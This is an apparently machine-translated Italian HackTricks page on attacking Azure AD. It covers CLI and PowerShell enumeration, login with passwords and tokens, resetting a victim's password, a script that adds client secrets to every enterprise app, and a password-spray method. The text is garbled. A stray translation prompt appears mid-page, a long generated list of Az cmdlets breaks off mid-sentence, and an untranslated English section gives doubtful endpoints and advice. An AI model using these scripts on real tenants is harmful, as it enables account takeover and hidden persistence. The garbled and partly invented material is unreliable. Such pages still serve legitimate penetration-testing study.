Az - AzureAD (AAD)

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Azure Active Directory (Azure AD) funge da servizio basato su cloud di Microsoft per la gestione dell'identità e dell'accesso. È fondamentale per consentire ai dipendenti di accedere e ottenere risorse, sia all'interno che all'esterno dell'organizzazione, compresi Microsoft 365, il portale Azure e una moltitudine di altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura di servizi di identità essenziali, tra cui autenticazione, autorizzazione e gestione degli utenti.

Le principali caratteristiche di Azure AD includono autenticazione a più fattori e accesso condizionale, oltre all'integrazione senza soluzione di continuità con altri servizi di sicurezza di Microsoft. Queste funzionalità elevano significativamente la sicurezza delle identità degli utenti e consentono alle organizzazioni di implementare ed applicare in modo efficace le proprie politiche di accesso. Come componente fondamentale dell'ecosistema dei servizi cloud di Microsoft, Azure AD è fondamentale per la gestione basata su cloud delle identità degli utenti.

Entità

Enumerazione

Per questa enumerazione puoi utilizzare lo strumento az cli, il modulo PowerShell AzureAD (o AzureAD Preview) e il modulo Az PowerShell.

In Linux sarà necessario installare PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Differenze tra i moduli

  • AzureAD è un modulo PowerShell di Microsoft per gestire Azure AD. Non mostra tutte le proprietà degli oggetti di Azure AD e non può essere utilizzato per accedere alle informazioni delle risorse di Azure.

  • Az PowerShell è un modulo per gestire le risorse di Azure dalla riga di comando di PowerShell.

Connessione

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Conenct with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*

Il seguente è il contenuto di un libro di hacking sulle tecniche di hacking. Il seguente contenuto è tratto dal file /hive/hacktricks-cloud/pentesting-cloud/azure-security/az-azuread/README.md. Traduci il testo inglese pertinente in italiano e restituisci la traduzione mantenendo esattamente la stessa sintassi markdown e html. Non tradurre cose come codice, nomi di tecniche di hacking, parole di hacking, nomi di piattaforme cloud/SaaS (come Workspace, aws, gcp...), la parola 'leak', pentesting e tag markdown. Inoltre, non aggiungere nulla di extra oltre alla traduzione e alla sintassi markdown.

#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

Quando effettui l'accesso tramite CLI ad Azure con qualsiasi programma, stai utilizzando un'applicazione Azure di un tenant che appartiene a Microsoft. Queste applicazioni, come quelle che puoi creare nel tuo account, hanno un ID client. Non sarai in grado di vederli tutti nell'elenco delle applicazioni consentite che puoi vedere nella console, ma sono tutti consentiti per impostazione predefinita.

Ad esempio, uno script di PowerShell che si autentica utilizza un'app con ID client 1950a258-227b-4e31-a9cf-717495945fc2. Anche se l'app non appare nella console, un amministratore di sistema potrebbe bloccare quell'applicazione in modo che gli utenti non possano accedere utilizzando strumenti che si connettono tramite quella app.

Tuttavia, ci sono altri ID client di applicazioni che ti consentiranno di connetterti ad Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Utenti

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Cambiare la password dell'utente

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA e Politiche di Accesso Condizionale

È altamente consigliato aggiungere MFA a ogni utente, tuttavia alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: all'utente verrà richiesto MFA se accede da una posizione specifica, da un browser o in alcune condizioni. Queste politiche, se non configurate correttamente, potrebbero essere soggette a bypass. Controlla:

pageAz - Conditional Access Policies / MFA Bypass

Gruppi

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Aggiungi utente al gruppo

I proprietari del gruppo possono aggiungere nuovi utenti al gruppo

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

I gruppi possono essere dinamici, il che significa essenzialmente che se un utente soddisfa determinate condizioni, verrà aggiunto a un gruppo. Naturalmente, se le condizioni si basano su attributi che un utente può controllare, potrebbe abusare di questa funzionalità per entrare in altri gruppi. Verifica come abusare dei gruppi dinamici nella seguente pagina:

pageAz - Dynamic Groups Privesc

Service Principals / Applicazioni Enterprise

Nota che il Service Principal nella terminologia di PowerShell è chiamato Applicazioni Enterprise nel portale Azure (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Il proprietario di un Service Principal può cambiare la sua password.

Elencare e provare ad aggiungere un client secret su ogni Enterprise App

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Ruoli

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

Az PowerShell

Installazione

Per utilizzare il modulo Az PowerShell, è necessario installarlo. Ecco come farlo:

Install-Module -Name Az -AllowClobber -Scope CurrentUser

Connessione ad Azure AD

Per connettersi ad Azure AD utilizzando Az PowerShell, è possibile utilizzare il comando Connect-AzAccount. Sarà richiesto di accedere con le credenziali dell'account Azure.

Connect-AzAccount

Ottenere informazioni sull'utente corrente

Per ottenere informazioni sull'utente corrente connesso ad Azure AD, è possibile utilizzare il comando Get-AzADUser. Questo comando restituirà una serie di informazioni sull'utente, come il nome, l'ID, il ruolo e altro ancora.

Get-AzADUser

Ottenere informazioni sui gruppi

Per ottenere informazioni sui gruppi presenti in Azure AD, è possibile utilizzare il comando Get-AzADGroup. Questo comando restituirà una lista di gruppi con informazioni come il nome, l'ID, i membri e altro ancora.

Get-AzADGroup

Ottenere informazioni sui ruoli

Per ottenere informazioni sui ruoli presenti in Azure AD, è possibile utilizzare il comando Get-AzADRoleDefinition. Questo comando restituirà una lista di ruoli con informazioni come il nome, l'ID, le autorizzazioni e altro ancora.

Get-AzADRoleDefinition

Ottenere informazioni sulle app registrate

Per ottenere informazioni sulle app registrate in Azure AD, è possibile utilizzare il comando Get-AzADApplication. Questo comando restituirà una lista di app con informazioni come il nome, l'ID, i proprietari e altro ancora.

Get-AzADApplication

Ottenere informazioni sulle sottoscrizioni

Per ottenere informazioni sulle sottoscrizioni associate all'account Azure, è possibile utilizzare il comando Get-AzSubscription. Questo comando restituirà una lista di sottoscrizioni con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzSubscription

Ottenere informazioni sulle risorse

Per ottenere informazioni sulle risorse presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzResource. Questo comando restituirà una lista di risorse con informazioni come il nome, il tipo, la posizione e altro ancora.

Get-AzResource

Ottenere informazioni sulle policy di Azure

Per ottenere informazioni sulle policy di Azure associate a una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyAssignment. Questo comando restituirà una lista di policy con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzPolicyAssignment

Ottenere informazioni sulle reti virtuali

Per ottenere informazioni sulle reti virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetwork. Questo comando restituirà una lista di reti virtuali con informazioni come il nome, l'ID, l'intervallo di indirizzi e altro ancora.

Get-AzVirtualNetwork

Ottenere informazioni sugli account di archiviazione

Per ottenere informazioni sugli account di archiviazione presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzStorageAccount. Questo comando restituirà una lista di account di archiviazione con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzStorageAccount

Ottenere informazioni sui gruppi di sicurezza di rete

Per ottenere informazioni sui gruppi di sicurezza di rete presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzNetworkSecurityGroup. Questo comando restituirà una lista di gruppi di sicurezza di rete con informazioni come il nome, l'ID, le regole e altro ancora.

Get-AzNetworkSecurityGroup

Ottenere informazioni sui log di monitoraggio

Per ottenere informazioni sui log di monitoraggio presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLog. Questo comando restituirà una lista di log di monitoraggio con informazioni come l'ID, il tipo, il livello e altro ancora.

Get-AzLog

Ottenere informazioni sulle macchine virtuali

Per ottenere informazioni sulle macchine virtuali presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVM. Questo comando restituirà una lista di macchine virtuali con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzVM

Ottenere informazioni sui database SQL

Per ottenere informazioni sui database SQL presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSqlDatabase. Questo comando restituirà una lista di database SQL con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzSqlDatabase

Ottenere informazioni sui servizi app

Per ottenere informazioni sui servizi app presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzWebApp. Questo comando restituirà una lista di servizi app con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzWebApp

Ottenere informazioni sui servizi di bilanciamento del carico

Per ottenere informazioni sui servizi di bilanciamento del carico presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLoadBalancer. Questo comando restituirà una lista di servizi di bilanciamento del carico con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzLoadBalancer

Ottenere informazioni sui servizi di Azure Kubernetes

Per ottenere informazioni sui servizi di Azure Kubernetes presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzAksCluster. Questo comando restituirà una lista di servizi di Azure Kubernetes con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzAksCluster

Ottenere informazioni sui servizi di Azure Container Registry

Per ottenere informazioni sui servizi di Azure Container Registry presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzContainerRegistry. Questo comando restituirà una lista di servizi di Azure Container Registry con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzContainerRegistry

Ottenere informazioni sui servizi di Azure Functions

Per ottenere informazioni sui servizi di Azure Functions presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFunctionApp. Questo comando restituirà una lista di servizi di Azure Functions con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzFunctionApp

Ottenere informazioni sui servizi di Azure Logic Apps

Per ottenere informazioni sui servizi di Azure Logic Apps presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzLogicApp. Questo comando restituirà una lista di servizi di Azure Logic Apps con informazioni come il nome, l'ID, lo stato e altro ancora.

Get-AzLogicApp

Ottenere informazioni sui servizi di Azure Event Grid

Per ottenere informazioni sui servizi di Azure Event Grid presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventGridTopic. Questo comando restituirà una lista di servizi di Azure Event Grid con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzEventGridTopic

Ottenere informazioni sui servizi di Azure Event Hub

Per ottenere informazioni sui servizi di Azure Event Hub presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzEventHubNamespace. Questo comando restituirà una lista di servizi di Azure Event Hub con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzEventHubNamespace

Ottenere informazioni sui servizi di Azure Service Bus

Per ottenere informazioni sui servizi di Azure Service Bus presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzServiceBusNamespace. Questo comando restituirà una lista di servizi di Azure Service Bus con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzServiceBusNamespace

Ottenere informazioni sui servizi di Azure Key Vault

Per ottenere informazioni sui servizi di Azure Key Vault presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzKeyVault. Questo comando restituirà una lista di servizi di Azure Key Vault con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzKeyVault

Ottenere informazioni sui servizi di Azure Cognitive Services

Per ottenere informazioni sui servizi di Azure Cognitive Services presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCognitiveServicesAccount. Questo comando restituirà una lista di servizi di Azure Cognitive Services con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzCognitiveServicesAccount

Ottenere informazioni sui servizi di Azure Search

Per ottenere informazioni sui servizi di Azure Search presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSearchService. Questo comando restituirà una lista di servizi di Azure Search con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzSearchService

Ottenere informazioni sui servizi di Azure Redis Cache

Per ottenere informazioni sui servizi di Azure Redis Cache presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRedisCache. Questo comando restituirà una lista di servizi di Azure Redis Cache con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzRedisCache

Ottenere informazioni sui servizi di Azure CDN

Per ottenere informazioni sui servizi di Azure CDN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzCdnProfile. Questo comando restituirà una lista di servizi di Azure CDN con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzCdnProfile

Ottenere informazioni sui servizi di Azure Traffic Manager

Per ottenere informazioni sui servizi di Azure Traffic Manager presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzTrafficManagerProfile. Questo comando restituirà una lista di servizi di Azure Traffic Manager con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzTrafficManagerProfile

Ottenere informazioni sui servizi di Azure Front Door

Per ottenere informazioni sui servizi di Azure Front Door presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFrontDoor. Questo comando restituirà una lista di servizi di Azure Front Door con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzFrontDoor

Ottenere informazioni sui servizi di Azure DDoS Protection

Per ottenere informazioni sui servizi di Azure DDoS Protection presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzDdosProtectionPlan. Questo comando restituirà una lista di servizi di Azure DDoS Protection con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzDdosProtectionPlan

Ottenere informazioni sui servizi di Azure Firewall

Per ottenere informazioni sui servizi di Azure Firewall presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzFirewall. Questo comando restituirà una lista di servizi di Azure Firewall con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzFirewall

Ottenere informazioni sui servizi di Azure Virtual WAN

Per ottenere informazioni sui servizi di Azure Virtual WAN presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualWan. Questo comando restituirà una lista di servizi di Azure Virtual WAN con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzVirtualWan

Ottenere informazioni sui servizi di Azure ExpressRoute

Per ottenere informazioni sui servizi di Azure ExpressRoute presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzExpressRouteCircuit. Questo comando restituirà una lista di servizi di Azure ExpressRoute con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzExpressRouteCircuit

Ottenere informazioni sui servizi di Azure VPN Gateway

Per ottenere informazioni sui servizi di Azure VPN Gateway presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzVirtualNetworkGateway. Questo comando restituirà una lista di servizi di Azure VPN Gateway con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzVirtualNetworkGateway

Ottenere informazioni sui servizi di Azure Bastion

Per ottenere informazioni sui servizi di Azure Bastion presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzBastion. Questo comando restituirà una lista di servizi di Azure Bastion con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzBastion

Ottenere informazioni sui servizi di Azure Backup

Per ottenere informazioni sui servizi di Azure Backup presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzRecoveryServicesVault. Questo comando restituirà una lista di servizi di Azure Backup con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzRecoveryServicesVault

Ottenere informazioni sui servizi di Azure Site Recovery

Per ottenere informazioni sui servizi di Azure Site Recovery presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSiteRecoveryVault. Questo comando restituirà una lista di servizi di Azure Site Recovery con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzSiteRecoveryVault

Ottenere informazioni sui servizi di Azure Monitor

Per ottenere informazioni sui servizi di Azure Monitor presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzMonitorDiagnosticSetting. Questo comando restituirà una lista di servizi di Azure Monitor con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzMonitorDiagnosticSetting

Ottenere informazioni sui servizi di Azure Security Center

Per ottenere informazioni sui servizi di Azure Security Center presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSecurityCenterSubscription. Questo comando restituirà una lista di servizi di Azure Security Center con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzSecurityCenterSubscription

Ottenere informazioni sui servizi di Azure Sentinel

Per ottenere informazioni sui servizi di Azure Sentinel presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzSentinelWorkspace. Questo comando restituirà una lista di servizi di Azure Sentinel con informazioni come il nome, l'ID, il tipo e altro ancora.

Get-AzSentinelWorkspace

Ottenere informazioni sui servizi di Azure Policy

Per ottenere informazioni sui servizi di Azure Policy presenti in una sottoscrizione, è possibile utilizzare il comando Get-AzPolicyDefinition. Questo comando restituirà una

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

Azure AD

Enumeration

User Enumeration

To enumerate users in Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to enumerate users. The API endpoint is https://graph.windows.net/{tenant_id}/users. You can make a GET request to this endpoint to retrieve a list of users.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to enumerate users. The API endpoint is https://graph.microsoft.com/v1.0/users. You can make a GET request to this endpoint to retrieve a list of users.

Group Enumeration

To enumerate groups in Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to enumerate groups. The API endpoint is https://graph.windows.net/{tenant_id}/groups. You can make a GET request to this endpoint to retrieve a list of groups.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to enumerate groups. The API endpoint is https://graph.microsoft.com/v1.0/groups. You can make a GET request to this endpoint to retrieve a list of groups.

Exploitation

Password Spray Attack

A password spray attack is a type of brute-force attack where an attacker tries a small number of commonly used passwords against a large number of user accounts. This attack is effective because many users tend to use weak passwords.

To perform a password spray attack against Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to perform a password spray attack. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to a password from your password list

  • client_id: Set this to the client ID of your Azure AD application

  • client_secret: Set this to the client secret of your Azure AD application

If the authentication is successful, you will receive an access token that can be used to access the target user's resources.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to perform a password spray attack. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to a password from your password list

  • client_id: Set this to the client ID of your Azure AD application

  • client_secret: Set this to the client secret of your Azure AD application

If the authentication is successful, you will receive an access token that can be used to access the target user's resources.

Mitigation

To mitigate the risks associated with Azure AD enumeration and password spray attacks, you can take the following steps:

  • Implement strong password policies and enforce password complexity requirements.

  • Enable multi-factor authentication (MFA) for all user accounts.

  • Regularly monitor and review user and group permissions.

  • Implement network segmentation to limit lateral movement within your Azure AD environment.

  • Regularly update and patch your Azure AD environment to protect against known vulnerabilities.

References

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Dispositivi

